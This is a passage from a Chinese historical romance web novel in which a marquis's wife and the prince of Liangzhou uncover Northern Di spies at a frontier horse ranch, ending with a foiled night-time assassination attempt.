众人闻言,齐齐朝那名叫“阿七”的马奴看去。 而在那马奴老大出声后,他身旁几人也连连附和:“没错,肯定是阿七……” “他平时不和人说话,放马吃饭都一个人。” 而那叫阿七的马奴,则先是惊惶地抬头看向安牧监,然后又猛得摇摇头,重重在地上磕了几下,结结巴巴道:“不……不是我……” 安达走过去,一马鞭抽在他身上:“好个贱奴!还不快老实交代!” 那马奴疼得蜷缩在地上,依旧摇头哆哆嗦嗦说:“不是我……不是我……” 明宜目光落在对方脸上,眉头微微蹙起。 此人应是被火烧过,一张脸面目全非,眼皮都因为伤疤而耷拉着。但依旧可能看出,他是汉人,而非胡狄。 安达要再次挥鞭,明宜忽然出声:“安牧监,且慢!” 安达闻言收回手,不明所以地看向她。 李赟也转头朝她看过来。 明宜上前一步,轻笑了笑道:“我一介女子,很怕见血,还请安牧监将人带去毡帐内慢慢审问。” 安达微微一怔,赶紧拱拱手,却没有马上应“诺”,而是朝李赟看过来。 毕竟这里小凉王说了算,一个女子就算是侯夫人,也插手不得。 李赟瞥了眼地上马奴,轻描淡写点点头:“嗯,将人带去毡帐慢慢审吧。” 安达这才应“诺”,挥挥手让人将人拖起来。 那地上的马奴,艰难地睁开一点眼皮,看向明宜,只是在明宜看过去时,又似是惊惧般垂下眸子。 在那叫“阿七”的马奴,被拖去毡帐时,李赟上前两步,走到刚刚那指认的马奴跟前,问道:“你叫什么名字?” 那马奴磕头道:“奴叫阿鹰。” “阿鹰?”李赟若有所思点点头,“你已在马场七年。” “嗯。” 李赟问:“你为何觉得刚刚那个阿七是细作。” 阿鹰满脸惊惶地点头:“阿七来马奴半年,从来不与其人说话,别人与他说话也不理会,连放马时都是一个人,大家都觉得他很古怪,定然是细作才会如此。” 李赟轻笑一声:“指认一个性情古怪不合群的马奴,能让自己和其他人活下来,不得不说挺聪明,但你有没有想过,若是你认错了细作,害死那阿七不说,还让真正的细作逃脱。” 阿鹰闻言,忙不迭磕头哆哆嗦嗦道:“王爷……王爷饶命……” 其余几人也跟着磕头求饶。 而在这微微混乱嘈杂中,旁边忽然响起一道悠扬的笛声。 众马奴闻声抬头,喧杂顿停。 李赟微微眯眼,看向吹笛之人。 吹笛之人不是别人,正是明宜。 她并未迎上李赟的目光,只吹着手中玉笛,一双杏眸却不动声色地打量着众马奴。 因为这笛声来得猝不及防,所有人第一反应都是出于本能。 茫然,疑惑,不明所以,兼或觉得这笛声动听,唯有一张面孔,脸上露出错愕,然后似是又反应过来般,有些惊惶地垂下头。 那是一张异族面孔。 正是刚刚附和阿鹰指认马奴阿七的其中一人。 李赟原本目不转睛凝望着明宜,直到看到她黑眸盯着一处微微眯起,这才反应过来,随她目光看去。 看到那低垂头的马奴,他嘴角了然地勾了勾,蓦地出声:“安达!” 原本押着阿七准备去毡帐审问的安牧监,在听到乍起的笛声后,也是一脸茫然地顿住脚步回头看过来。 还没反应过来侯夫人为何忽然来了兴致吹笛,忽然被小凉王点了名,顿时一惊,小跑回来,拱手道:“臣在。” 李赟伸手指了指明宜望着的马奴:“把那人押去毡帐,我亲自审问!” 安达怔了下,虽然不知是怎么回事,却也是赶紧拱手应“诺”,挥手让人去押那马奴。 马奴被两个卒役从地上拖起,慌忙大喊:“奴冤枉——” 而其余马奴根本不知发生了何事,只吓得一动不敢动。 明宜放下玉笛,默默望着这一幕。 李赟上前两步,来到她跟前,淡声问道:“刚刚吹得可是那疏勒小调?” 明宜点头,依旧望着那正被人拖进毡帐的马奴。 她秀眉微蹙,正想着自己是不是不是冤枉了人时,那边变故突起。 只见那本来哭喊着哀求的马奴,忽然暴起,不知如何挣脱缚住在双手的麻绳,猛得打了个响亮的呼哨。 原本平静的马奴营,在这声呼哨响起后,骤然变得喧杂凌乱,原来是旁边数十匹马儿像是受惊一般,忽然冲出马圈,朝人群狂奔而来。 靠近马圈的几个卒役,因没反应过来,顿时被疯马撞翻,更甚者在倒地后,被后面的马踩踏而过,当即血流满地。 “快……快……保护王爷!”安达吓得大惊失色,“快……快拦住马!” 然而场面很快就乱作一团。 地上马奴因双手被缚在身后,根本也无法去勒马,只吓得在地上胡乱打滚,以避开冲过来的马蹄。 而役卒们虽奋力去驭马,但因马身没有缰绳,又或者疏于操练,几乎都以失败告终,好几个被马甩开痛呼倒地。 眼见马群就要冲过来,李赟抓住明宜的手就往外跑,堪堪避开两匹奔跑在最前方的马。 与此同时,那北狄细作趁乱骑上一匹马,夹在发疯的马群中飞奔而来。 他的目标显然是正拉着明宜离开的小凉王。 李赟双眸一眯,将明宜猛得一拉:“快走!” 他力度极大,明宜只觉得自己好像是被飞抛出去,只能本能地往外冲,一口气便离了好几丈。 她勉强站稳,下意识回头看去。 却见李赟已抽出腰间佩刀,立在原地一动不动,就在那马朝他扬蹄飞奔而来时,另一匹马儿,忽然从另一边冲出来,直直朝那细作身下的马撞过去。 于是原本扑向李赟的马,蓦地转了方向,砰地一声,重重倒在地上,马背上的细作也跌落下来。 正要爬起来时,冰凉的刀刃已经抵在他脖颈。 那骑马撞到这北狄细作的,正是先前被带走的马奴阿七,而他也因为两匹马相撞,倒在地上,半晌没再动弹。 这会儿马已经跑得差不多,马奴也都陆续解开绳子去追,马奴营由刚刚的混乱,稍稍恢复平静。 安达气喘吁吁带着人将地上的细作牢牢捆住。 李赟箍住对方下颌,检查了下牙齿,确定没有□□,让人塞了嘴,才吩咐:“把人带去牧监。” 安达诚惶诚恐应“喏”。 明宜重重舒了口气,小心翼翼走上前,先是看了眼李赟,又看向倒在地上的马奴阿七,微微弯下身,轻声问道:“你没事吧?” 马奴缓缓睁开一点眼睛,似是因为眼前这张美丽的脸有些自惭形秽,又赶紧别看脸,不让对方看见自己丑陋的面容。 而下一刻,他便轻咳一声,吐出一口鲜血来。 李赟走过来,看着地上的人,蹙了蹙眉头,吩咐道:“将人抬去马监医治。” 待卒役将人抬走,他又才看向明宜:“弟妹没事吧?” 明宜摇头:“没事。” 又想到什么似的,回头去寻找白芷,见到对方惊慌失措但完好无损地朝自己跑过来,才稍稍松口气。 李赟道:“走吧,回牧监。” 而他一转过头,原本面对明宜还算平静的脸,顿时冷沉下来,冷笑一声道:“安牧监,这就是你管理的马场?!” 跟在身旁的安达吓得浑身一震,立刻跪在地上哆哆嗦嗦道:“臣失职,让王爷受惊,罪该万死!” 李赟看了眼那群被马奴赶回来的马:“依我看,牧监的日子确实过得太好!明日开始,你带着牧监的人,与马奴们一起牧马!” 这惩罚对安达来说,无异于大赦,他赶紧又用力磕了个头:“臣遵命,谢王爷开恩!” 回到牧监公廨,楚飞带人去审那细作,李赟和明宜则去看那受伤的马奴阿七。 见两人进来,原本躺在榻上的阿七,忙挣扎着要起身磕头行礼。 李赟轻描淡写摆摆手:“好好躺着,别乱动。” 阿七怯怯点头。 李赟眯眼看向他:“你是年初来的大马营?” 阿七还未开口,安达抢着替他答道:“嗯,阿七是最新一批送来来的马奴,总共十人,距今刚好半年。” 李赟不耐地觑眼看向他。 安达心下一个激灵赶紧识时务地闭上嘴。 阿七见半晌没人说话,才又怯生生抬眸看了眼榻边人高马大的小凉王,然后缓缓点了点头。 李赟继续问:“你家在何处?缘何为奴?” 阿七低声道:“家在凤翔,因家贫被卖为奴。” 他声音嘶哑,显然是因为嗓子受过伤。 “你脸上的伤是为何故?” 阿七道:“儿时家中走水被烧伤。” 李赟点点头:“你今日助本王擒获北狄细作,本王特赦你脱离奴籍,今后便在牧监为卒役。” 阿七狰狞的脸上,露出一丝茫然,还是安达在一旁道:“还不快谢王爷大恩。” 阿七这才反应过来,挣扎着要坐起来磕头,却再次被李赟蹙眉阻止:“说了不用动,好好歇着养伤。”又转头对安达道,“将人照顾好。” 安达笑呵呵拱手道:“王爷尽管放心,臣定会派人将阿七照顾妥当。” 李赟转身看向一旁的明宜:“走吧。” 明宜点点头,随他出门,走到门槛时,忽然又想到什么似的,回头朝床踏上的人看了眼。 阿七那双被火烧过的眼睛,微微掀开一条缝,只是在她看过去时,又怯怯般将眼眸阖上。 “王爷——” 几人刚出门,楚飞便疾步走过来拱手道。 “审好了?” “嗯,都招了。”楚飞点头,“跟峡口驿那三人一样,都是疏勒人突涅小可汗以家人要挟,派他潜入大马营,打探大马营战马数量和作战能力,再伺机损毁战马。他来大马营已一年,目前除了驯马,并未做过什么。王爷,您看还需要亲自再审吗?” 李赟面无表情摇头:“不用了。” “那人是直接处死还是……” 李赟轻描淡写道:“先关着吧。”顿了下又补充一句,“疏勒人不是大宁仇敌,他们也是迫不得已,或许来日开战,还能用得上。” 楚飞点头:“明白。” 觉察明宜还站在一旁,李赟抬眸看向她:“弟妹想必也受了惊吓,先回官舍歇着吧。” 明宜拱手行了个礼:“那阿兄忙着。” 李赟道:“弟妹的笛子吹得很好。” “阿兄谬赞了。” 李赟勾起嘴角:“弟妹今日又帮了本王大忙。” 明宜轻笑:“阿兄客气了,不过举手之劳罢了。” 说着又朝他拱拱手,便领着白芷转身退下。 回到官舍。 却见周子炤正在院中来回踱步,看到明宜回来,急忙走上来,道:“听说你们在马奴营出了事。” 明宜笑:“嗯,是马受了惊,没什么的大事。” 周子炤上下打量她一眼,见她没事稍稍放心,又问:“表兄没事吧?” “阿兄他没事,殿下不用担心。” 周子炤这才重重舒了口气。 明宜取出腰间的玉笛还给他:“表兄,谢谢你的笛子。” 周子炤笑呵呵接过:“三娘不用了么?” 明宜笑说:“已经用过了。” 周子炤叹了口气:“原本还想着今日天气好,去马场骑马玩一玩,这么一闹,我也不好去玩了,还是继续睡大觉吧。” 明宜但笑不语,与他行了个礼,回了房休息。 要说受惊其实也算不上,毕竟自打入了凉州,惊吓就没停过,今日这场惊下,比起从前在凉州那几次,实在也不算什么。 李赟似是去忙,并未回官舍,午膳乃是牧监仆妇送来房中。 晌午,艳阳高照。 李赟不在,明宜也不好擅自出门,正百无聊赖时,忽然想到什么似的,从包裹中掏出一个小瓷瓶,从里面倒出一粒。 白芷奇怪问道:“娘子,你拿护心丹作何?” “我去给那马奴一颗。” 白芷心如刀绞,满脸惊讶:“这护心丹百两金一颗,你要给一个马奴?” 明宜轻笑:“他今日立了大功,眼下又重伤,应该用得上。” 白芷虽然有些舍不得,但还想着自家娘子一向如此,也没有再说什么,只问道:“你现在要去看那位马奴吗?” 明宜点头。 白芷:“我与娘子一起。” 阿七就住在官舍隔壁的杂院,此刻院中两个小厮正在忙进忙出。见过明宜,虽不清楚她的身份,但知道他是小凉王身边的贵人,忙对她行礼。 明宜摆摆手问道:“那马奴阿七还在吧?” “在的。”小斯领着她进屋。 年轻丑陋的马奴此时正阖着双目躺在榻上,听到动静缓缓睁开眸子,被烧伤的眸子三角眼一般,实在是有些面目狰狞。 看到是明宜,他似乎是瑟缩了一下,挣扎着要起身。 明宜忙上前阻止:“好好躺着,当心碰到伤处,我来给你送点药。” 阿七似乎有些不知所措,嘴唇蠕动半晌,才哑声开口:“谢谢夫人。” 明宜站在榻旁,将握着丹药的手摊开在对方面前。 阿七却半晌没有动静。 明宜轻笑了笑:“这丹药对你的伤恢复很有好处,拿去吃了吧。” 白芷在她身后撇撇嘴嘴道:“这丹药价值百金。” 阿七目光微微一颤,愈发不敢动弹。 明宜转头看向旁边的小厮道:“麻烦帮忙给他喂下吧。” 小厮拱手应诺,从旁边桌上拿了水过来,又接过明于掌心的丹药,另一人小心翼翼将阿七扶起。 在两人的配合下,那丹药终于被送入阿七微微有些干涸的嘴唇中。 看到方的喉咙动了动,应是顺利吞了下去,明宜不由得舒了口气,笑道:“你好生修养,很快就会好起来的。” 原本垂眸的马奴缓缓睁开眼看向她,黑色的眸子微微闪动,抬手做了个揖:“多谢夫人。” 明宜摇摇头,好整以暇朝人看去,但对方却似羞怯般再次垂下了眸。明宜的目光又从对方那张烧伤的脸移到抱拳的双手上。 那双手倒是没有烧伤的痕迹,只是骨节粗大,虎口都是粗茧,许是常年握辔绳所致。 她朝对方笑了笑,没再说什么,转身准备朝外走。 哪知刚转身便看到门口一道长身玉立的身影。 明宜微微一愣,反应过来,忙行礼道:“阿兄。” 李赟勾唇笑了笑:“弟妹果真菩萨心肠。” 明明摸不准他语气是否带了些讥诮,不过也并没在意,只道:“我想着阿七今日立了大功,只可惜这丹药总共只得三颗,没法给其他人都分上,不知其他伤者可好?” 李赟道:“无妨,都只受伤,没有危及性命……” 明宜舒了口气:“那就好。”又想到什么似的,走上前问道,“既然马场细作已抓获,阿兄打算何时启程?” 李赟看着她神色莫辨道:“弟妹如此心急,是想要快点与我办完这趟差,好早日启程回京城么?” 明怡微微一愣,轻笑道:“我是想着阿兄早日办完这趟差事早安心。” “难为弟妹为本王操心。”李云轻描淡写道,说着又话锋一转,“北狄大汗还没死,一时半会还不会对大宁开战,有的是时间做准备,不用急这一日两日。五郎说想要去草场骑马,明日我们一起去骑马,正好巡查一下马场的情况。” “但凭阿兄安排。”明宜行了个礼,跨过门槛道,“阿兄忙,我回房了。” 然而,刚转身又被对方轻飘飘唤住:“弟妹。” 明一回头对上那双深不见底的灰眸。 李赟勾了勾嘴角道:“弟妹心思聪慧,能与本王排忧解难,本王甚是欣慰,只是日后还请弟妹有事提前与我商量。” 明宜知道他说的今日自己用疏勒小调,引出北狄细作一事。 她之所以没提前说,本也只是突发奇想试一试,没想到当真试了出来。但她没多解释,只从善如流点头:“明宜记下了。” 说完再次转过身。 李赟没再开口,但不知为何,她总觉得对方依旧盯着自己,那无形的视线有如火烧火燎般,让她的心跳得飞快。 她忽然想起先前在马奴营,混乱发生时,李赟忽然抓住自己的手。 当时太混乱匆忙,她并未在意,此刻想起来却蓦地有种错觉,对方那手上的灼热似乎还留在腕上。 不知是不是因为上午发生了那场混乱,后半天的马监显得格外平静。 明宜在官舍未出,没再见到李赟,倒是闲得无聊的周子昭来找她,闲话了片刻。 这位五皇子对马场的风波似乎也并不关心,只关心明天去哪里玩?接下的旅程有什么有意思的事? 果然是个名副其实的纨绔皇子。 翌日清晨,用过早膳,明宜刚刚走出官舍,便听安牧监声音传来。 “侯夫人,阿七……就是昨日那马奴,说昨日得了夫人的一枚神药,今日伤好了大半,想亲自来与侯夫人道谢。” 明宜果然见那阿七诚惶诚恐般站在院中,见自己出来,忙跪下道:“多谢夫人救命之恩。” 他声音嘶哑,听得让人恻隐。 明宜走到他跟前道:“起来吧!救你的是大夫,那药那样并不是什么神丹妙药,只是让你恢复快些。” 阿七缓缓站起来。 因两人只隔了一米的距离,阳光打在那张狰狞的面容上,看着实在有些瘆人。但明宜却并没有被吓到,反倒神色平静,甚至还想仔细打量对方。 只是阿七却怯生生低下头,似是怕自己这丑陋的面貌吓到面前美丽的女子。 明宜微微皱了皱眉头,这要再仔细去打量,旁边忽然传来一声轻咳。 是穿戴整齐准备出门的小凉王,因着几人是要出去骑马,怕等得不耐心,明宜点点头,匆忙对阿七道:“你赶紧去歇着,早些好起来。” 阿七点点头,对她与李赟行了个礼,一瘸一拐离开了。 第35章 第 34 章 王妃比大马营的晚霞还要…… 到了牧监门外, 周子炤率先按捺不住,嗷嗷挥动马鞭,朝前方绿油油的马场奔去。 明宜骑上昨日那匹枣红马, 与李赟的黑色大马并肩而行。 李赟不知想到什么, 轻描淡写开口:“阿玉说当初在宋太傅门下求学,其余公子王孙见他是异族, 又体弱多病, 并不喜欢与他来往,唯有弟妹关照他。” 明宜道:“阿玉性情温和, 不像其他高门公子那般张扬, 我与他最谈得来。”说着又怅然般补充一句, “也算是缘分吧。” 李赟轻笑了笑:“我看弟妹是对弱者比较关心, 就好比刚刚那位阿七。” “阿七也算救了阿兄,我理应对他关照一些。” 李赟勾了下嘴角:“弟妹是觉得我会葬身那马蹄之下?” 明宜想到他性情倨傲, 只怕是不喜欢听自己是一个马奴救了他, 便赶紧道:“阿兄说笑了,区区一匹疯马,如何可能伤到阿兄?只是一个马奴不顾危险挺身而出, 也确实值得嘉赏。” “所以我我让他脱离奴籍, 以后在牧监做事。” “阿兄奖罚分明。” 李赟:“我听的恭维够多了, 弟妹便不用再说。” 明宜果真不再说,也实在是觉得这人捉摸不定。 李赟却又说:“若我真被那疯马所伤,弟妹该如何看我?” 明宜心说,难不成被伤了就不是小凉王了。 她也不愿再揣度对方心思, 只轻笑道:“阿兄也是血肉之躯,算受伤也无可厚非,只是可能行程要推后几日了。” 李赟转头瞥他一眼:“所以弟妹只关心行程?” 明宜:“自然更关心阿兄的身体。” 李赟:“弟妹有心了。” 说着扬起马鞭:“驾——” 随着一声轻喝, 他身下的黑马两起四蹄便朝碧绿深处狂奔而去。 传闻小凉王骑术了得。 李玉也曾说过,兄长十一二岁便驯服过一匹烈马。 但明宜来凉州这么久,还未曾真正见过李赟骑艺。 此刻看到那英姿飒爽的身影策马奔跑在宽阔草原之上,确实有种赏心悦目之感。 明宜轻笑了笑,伸手摸了摸身下枣红马的脑袋,低声道:“咱们也来骑。” 这马确实通灵性,她并没有用力去挥打马臀,只轻轻拍了拍。 马而便扬蹄,撒欢一般朝前追去。 明宜虽会骑马,但也从未在这样广阔的草原上策马奔腾过。 干爽的带着青草香味的风拂过,远处是山峦,近处是绿茵,她只觉心胸忽的开阔,一时也忘了说不清的那些担忧。 “三娘子,我们来赛马如何?!”原本跑开的周子炤又绕了一圈跑回来,朝明宜用力挥挥手,高声叫道。 明宜看了一眼减缓速度掉头看过来的李赟,笑着回道:“齐王殿下怎的不和阿兄比,要和我一个女子来比?不怕胜之不武?” 周子炤朗声大笑:“小凉王乃是马背上长大的,与他比那我必输无疑。” 这时安牧监骑着马过来,笑呵呵道:“齐王殿下,臣来陪你比如何?” 周子炤看了眼他肥硕的身形,大笑道:“与安牧监比,本王才是胜之不武。” 安达笑道:“殿下可别小瞧臣,臣也是马背上长大的。” “行!”周子炤大手一挥,“三娘子,咱们就与安牧监比试比试。” 明宜并不想参与这游戏,不过齐王殿下并未给她拒绝的机会,直接挥动马鞭,策马朝前方奔去。 安达也赶紧驱动身下马匹,紧随跟上。 明宜笑着摇摇头,不紧不慢跟在后面,她这匹枣红马,似乎也知道她无心比赛,并不跑多快,只是稳稳当当,让她感受草原之美。 李赟速度与她差不多,但因为是高头大马,看着便像是闲庭信步似的。 前面人跑到一处毡帐营地才停下。 毫无意外的,周子炤赢了。 安牧监不知是业精于勤荒于嬉,还是故意为之,总归是输了齐王一段,喘着粗气笑道:“齐王殿下骑术精湛,臣甘拜下风。” 周子炤得意地扬扬眉头,见明宜走近,才笑呵呵道:“三娘子,你这骑术还该再练练啊!” 跟在后面的李赟轻笑道:“三娘要不要练不好说,我看你是当真要再练练了,安牧监给你放的水能赶上一条河了。” 安达忙拱手笑呵呵道:“是齐王殿下骑术好。” 李赟哂笑一声:“你一个牧监,骑马比不过长安来的皇子,这牧监还要不要当?” 安达吓了一跳,知道自己这马屁又拍错了,在齐王和小凉王之间,他立刻选择了后者,笑容可掬道:“主要是臣昨日大腿受了点伤,不敢骑太快。” 周子炤嗤了声,不满道:“表兄,你这就有点没意思了。” 就在这时,旁边营地忽然传来一声呼唤:“是小凉王!” 明宜这才看出来,他们来到了马户营。 马户便是牧民,只是专门饲养官马。 随着这声呼唤,下一刻,便从毡帐中跑出一堆老老少少,跪在地上朝拜似的高呼道:“草民拜见小凉王,王爷福泽绵长,吉祥如意,千岁千千岁!” 因为李赟每年都来马场,这些世代居住的马户认得他也不足为奇。 令明宜惊讶的是,这些马户对李赟的态度。 若说之前王府的下人和安达这些人,多是崇敬与敬畏,那马户便几乎是一种对天神一般的膜拜,真是应了坊间那句“只知凉王,不知天子”。 明宜一开始还以为这些人乃是因为小凉王威名,但这个想法很快就改变。 只见李赟从马背一跃而下,挥挥手道:“都起来吧!” 他话音刚落,几个跪在地上的孩子,真的跳起来,欢天喜地朝这边跑过来,脸上全是笑容和兴奋,哪里有一点点对小凉王的畏惧。 在最前面的两个孩子,七八岁的模样,甚至直接冲过来将李赟的手臂紧紧抱住。 安达见状,忙高声斥道:“谁允许你们如此放肆的?” 两个孩子吓得瑟缩了一下。 李赟则是不满的撇了眼安达,摆摆手:“你闭嘴!” 安达赶紧拱手作揖应“诺”。 李赟抬手摸了摸两个有些被吓到的孩子的脑袋,温声道:“阿豆阿毛,你们去年答应我,待我今年再来,要背十首诗歌给我听,可已背下来?” 两个孩子齐齐点头:“已经背下了,小凉王可要听?” “行,那就背一首来听听。” 两个孩子站在他跟前昂着小脑袋,相互看了一眼,异口同声,开始大声背诵一首七言塞外诗。 四句诗很快背完,李赟笑着点点头:“好!”说着朝楚飞挥挥手。 楚飞赶紧走上来,从袖子里掏出一把糖,先是给两个小孩一人递了一块,又笑呵呵吆喝道:“来来来,排好队,每人都有。” 后知后觉才下马的明宜,看着这两人,一时有点恍惚。 佛堂杀人的是两人,要杀掉所有马奴的是两人,而眼下颜悦色对着马户的孩子,发糖的也是他们。 善与恶很难泾渭分明。 她不知不觉走到李赟身旁,一个得了糖的小姑娘,睁大一双乌溜溜的眼睛,好奇朝明宜看过来,突然眨了眨眼睛,怯生生又好奇问道:“你是女郎?” 明宜是男装打扮,远看看不出,但近看还是能看得出,她笑着点点头。 小姑娘见她笑,也咧嘴笑开,又天真无邪道:“你这么好看,定然就是王妃了。” 明宜脸上的笑容一时凝住,一时竟忘了去纠正她的话。 与此同时,李赟闻言转头朝两人看过来。 小姑娘对上他的眼睛,笑眯眯道:“王爷,王妃比大马营的晚霞还要美。” 这回不等明宜开口,安牧监已经先斥责道:“小丫头别乱说,这是西平侯夫人。” 小姑娘被吓得收缩了一下,虽然也不知这西平侯夫人是什么人,但知道自己说错了话,赶紧跪下道:“草民知错了,侯夫人恕罪。” 明宜轻叹一声,笑着将小姑娘拉起来:“无妨,不知者无罪。” 小姑娘站起来,看了看她又先诚惶诚恐地看向李赟。 李赟朝她笑了笑:“你说的没错。” 明宜一愣,面露惊讶地看向他。 小姑娘显然也有些茫然。 只听李赟又道:“大马营的晚霞确实很美。” 小姑娘这才露齿一笑,对他作了一揖,然后便跑进孩子跟其他一起去打闹了。 安达见两人没说话,以为是被小孩弄得尴尬,笑呵呵打圆场道:“小孩子不懂事,侯夫人不用放在心上。不过小孩子眼光确实不错,侯夫人天姿国色,胜过我们大马营的晚霞。” 明宜讪讪笑了笑:“安牧监说笑了。” 安达忙道:“臣这是真心实意。” 这回明宜还没开口,只听旁边的李赟哂笑一声:“看来安牧监疏漏的马上业务,都用在练嘴皮子了。” 安达忙拍拍自己的嘴:“是臣多言了。” * 此后一行人又去了两个马户营,与之前一样,马户们对小凉王并非畏惧,而是一种发自内心的崇敬。 而这些马户孩子们对他很崇拜,又很亲近,看得出很喜欢他,恨不得一直围着他打转。 午膳也是在马户营用的,吃的是马户日常的粗茶淡饭,牧民对小凉王的到来是由衷的欢喜,离开时都依依不舍。 尤其是孩子们,拉着李赟的袖袍不放手,哪里还是人人畏惧的小凉王? 回程时正是傍晚, “侯夫人快看!”安牧监忽然指着天空道。 明宜顺着他的手指看去,原本碧蓝的天空竟出现了一抹晚霞,飘在空中如火凤凰一般。 “甚美!”明宜笑着点头。 她迎着微风,欣赏片刻,忽然意识到什么似的,转过头,却见旁边的李赟,正意味不明地望着自己。 一片霞光落在他侧脸,衬得那双深灰色眸子越发深邃。 明宜因是看不透他,也干脆不再揣度,只轻笑道:“阿兄怎么不看晚霞?” 李赟道:“见多了,便觉得今日这晚霞不过尔尔。” 安达道:“那是,还得是夏日的晚霞最好。” 明宜轻笑:“我是第一次看,觉得已经很美。” 李赟冷不丁问:“长安的晚霞如何?” 明宜笑说:“自然比不上这里。” 李赟道:“河西的美景何止大马营晚霞,还多得是,弟妹可慢慢看。” 安达在一旁插话:“我们大马营也好多美景,一日哪里看得完,可惜明日王爷你们就要启程了。” 明宜随口道:“阿兄,我们明天就要启程么?” 李赟轻笑:“怎么?舍不得走?” “那倒不是。” “也对,弟妹应是觉得越快越好。” 明宜:“……” 她是有此意,但也不用说出来吧。 回到牧监,明宜刚喝过茶,见时日尚早,闲得无聊,想了想,起身出门,去了隔壁院子。 刚走进去,就见阿七正在院中缓缓活动,见到她过来,赶紧作揖行礼:“拜见侯夫人!” 明宜上下打量他一眼,问道:“你如何了?” “托夫人的福,奴已经好得差不多。”他抬起头,却在对上明宜的目光时,又垂下眸子,一副怯生生的模样。 明宜轻笑道:“日后你是要在牧监做事的,可不能一直这般胆小怯弱。” 说他胆小,但昨日却是骑马将那北狄细作撞翻。 阿七拱手点头:“谢侯夫人教诲。” 明宜想了想,又道:“你脸上的伤有多少年了?” 阿七道:“已经七年。” 明宜叹了口气:“那真是可惜了,若是才两三年,或许还能用药治好大半。” 说着,又朝那张布满疤痕的脸看去,只是对方依旧颔首垂眸,并不太能看清楚。 明宜眯了眯眼,总觉得哪里有点不对劲,但最终只是笑了笑道:“你好生休息,明日我们就要离开,希望你早些好起来。” 阿七抬头道:“你们明日就要走?” 明宜点点头,看着他道:“你有什么需要尽管提出来,不然等小凉王离开,只怕就没那么好说了。” 阿七似是这才意识到自己在直视对方,又赶紧低下头:“奴祝王爷侯夫人一路平安。” “嗯,承你吉言。” 明宜朝他笑了笑,转身离开。 只是一转身,脸上的笑容,便敛了起来,眸中浮上一抹狐疑。 若是没看错,刚刚阿七那受伤的眼皮下,有那么一刹那,眼神不该属于一个胆小怯弱的马奴。 “娘子,你怎么啦?”回到隔壁官舍,白芷见她一脸沉思,心不在焉的模样,不由得好奇问道。 明宜摇摇头,想到什么似的又从包袱中拿出一个小药瓶,倒出一粒药丸,随口道:“对了,你去问人要一张马场的舆图来。” “娘子要舆图作何?” 明宜道:“无事可做,随便看看。” 白芷出去问人要舆图,明宜则又去了旁边院子。 阿七已经回了房中,见她去而复返,赶紧要从榻上下来。 明宜抬手阻止他:“你别动,我来给你送药。”说着将手中药丸递给他。 阿七忙作揖道谢。 明宜道:“不用这般客气,明日我们就要离开,你好起来,我们也才放心。” 阿七面露感激,双手小心翼翼接接过药丸。 明宜笑道:“赶紧吃了吧,再好好睡上一觉,应该就能好得差不多了。” 阿七闻言,从善如流拿了小几上的茶盏,就着水将药丸吞入腹中。 明宜笑了笑:“那你好好休息。” 再回房,白芷也拿了舆图去而复返。 明宜这一看,就从夕阳西下,看到了星月满天,还是隐约听到旁边传来的嘈杂声才反应过来。 她收好舆图,好奇出门,才发觉那动静是来自李赟房间,仔细一听正是安牧监的声音。 “王爷,臣知错,臣罪该万死。” 这声音满是惶恐,听起来像是犯了不可饶恕的错误。 明宜见楚飞竖着耳朵靠在树后听着房内的动静,便也走过去,低声问道:“怎么了?” 楚飞像是被吓了一跳般,用力拍拍胸口,低声回道:“王爷今日让人清点了马场的战马数量,与马监先前报上来的数量不符。”说着举起一根手指,一字一句义愤填膺道,“整整差了一万匹。” 明宜闻言倒吸一口冷气,她记得先前安牧监说马场总共有战马五万匹。 少了一万,是那便只有四万匹。 若是不打仗,这并不是什么大事,但若是北狄开战,少一万匹战马,那作战能力将受到极大影响。 两人正小声说着,里面忽然传来一声冷喝:“进来!” 楚飞赶忙“嗯”了一声,上前推开门躬身走了进去。 “弟妹,也进来!” 原本准备离开的明宜,默默龇了龇牙,果然还是不该好奇,但也只能硬着头皮走进去。 看到屋内跪在地上战战兢兢的安牧监,她躬身揖了一礼:“阿兄!” 李赟虚指了指安达,冷喝道:“从明天开始,你必须自己去马场放马!” 安达连连应“诺”。 “还不快滚!” 安达连跪带爬滚了出去。 案后的李赟深吸一口气,脸上隐隐露出倦怠之色。 楚飞道:“王爷也不用担心,敦煌有马市,西域多得是好马,等我们去了敦煌,买一万匹便是。” 李赟冷笑,抬眸觑他一眼:“一万匹战马?你以为想买就能买到。” 楚飞立马噤声。 李赟又看向明宜:“弟妹此时还不歇息,是有事么?” 明宜想了想道:“是有一点事,但可能是我多想,只是先前阿兄说有事要提前和你商量,我思忖之后,还是觉得应该告知阿兄。” 李赟放下额侧的手,好整以暇看向她:“弟妹但说无妨。” 明宜上前一步压低声音,一字一句将心中狐疑说给他听。 李赟面上露出几分惊讶。 明宜道:“我也只是猜测,或许是我多想。” 李赟面色恢复,点点头:“嗯,弟妹回去歇着,我自会处理,你不用担心。” 明宜:“那阿兄自己当心。”—— 作者有话说:男主确实是一开始就喜欢女主哈~ 第36章 第 35 章 要是这么容易死,就不是…… 月上中天。 白日喧闹的牧监, 只剩呼呼的夜风,官舍的守卫也开始打起了瞌睡,偶尔发出一声含糊不清的呓语。 一道黑影悄无声息钻入院中, 动作轻得如同鬼魅一般。他轻轻拂过打瞌睡的守卫身旁, 两个守卫便软软倒在了地上,像是睡了过去。 于是这官舍似乎就成了这鬼魅的主场。 他走到小凉王的房门前, 手中匕首划过门缝, 下一刻那门便轻轻被他推开,直至他的身影没入门缝里, 也始终没有发出任何声音。 这黑影一步一步走到那床前, 将垂落的床帷轻轻撩开。 黑漆漆的的床上, 隐隐约约一团, 他拿起匕首狠狠往床上刺去。 只是手还未落下,忽然意识到什么似的, 抓住匕首, 猛的转身一挥。 堪堪挡开在黑暗中劈过来的一刀。 原本乌漆漆的屋子,在这时骤然烛火摇曳,是壁上的烛台被点亮, 照出了床边那张狰狞丑陋的脸。 屋中不知何时多了五六个人, 除了刚刚那一刀的楚飞, 还有立在门口的小凉王李赟。 楚飞一击不中,大喝一声,再次提刀朝人刺去。 “你这贱奴!果然也是北狄细作。” 原本怯生生的马奴阿七,此时俨然换了另一副面孔, 只见他张狂一笑,一边避开楚飞的攻击,一边似是有些遗憾的叹息一声:“看来小凉王确实很难杀呀!” 说罢, 一跃而上,脚下踩在床榻借力,几步便登上房梁,砰地一声,破开屋顶冲了出去。 李赟脸色微变,蹙起眉头冷笑一声:“倒是小瞧你!” 他拔剑转身。 阿七刚冲到屋顶,却见上面早早已有暗卫埋伏,而下方也已有乌泱泱的护卫拦截。 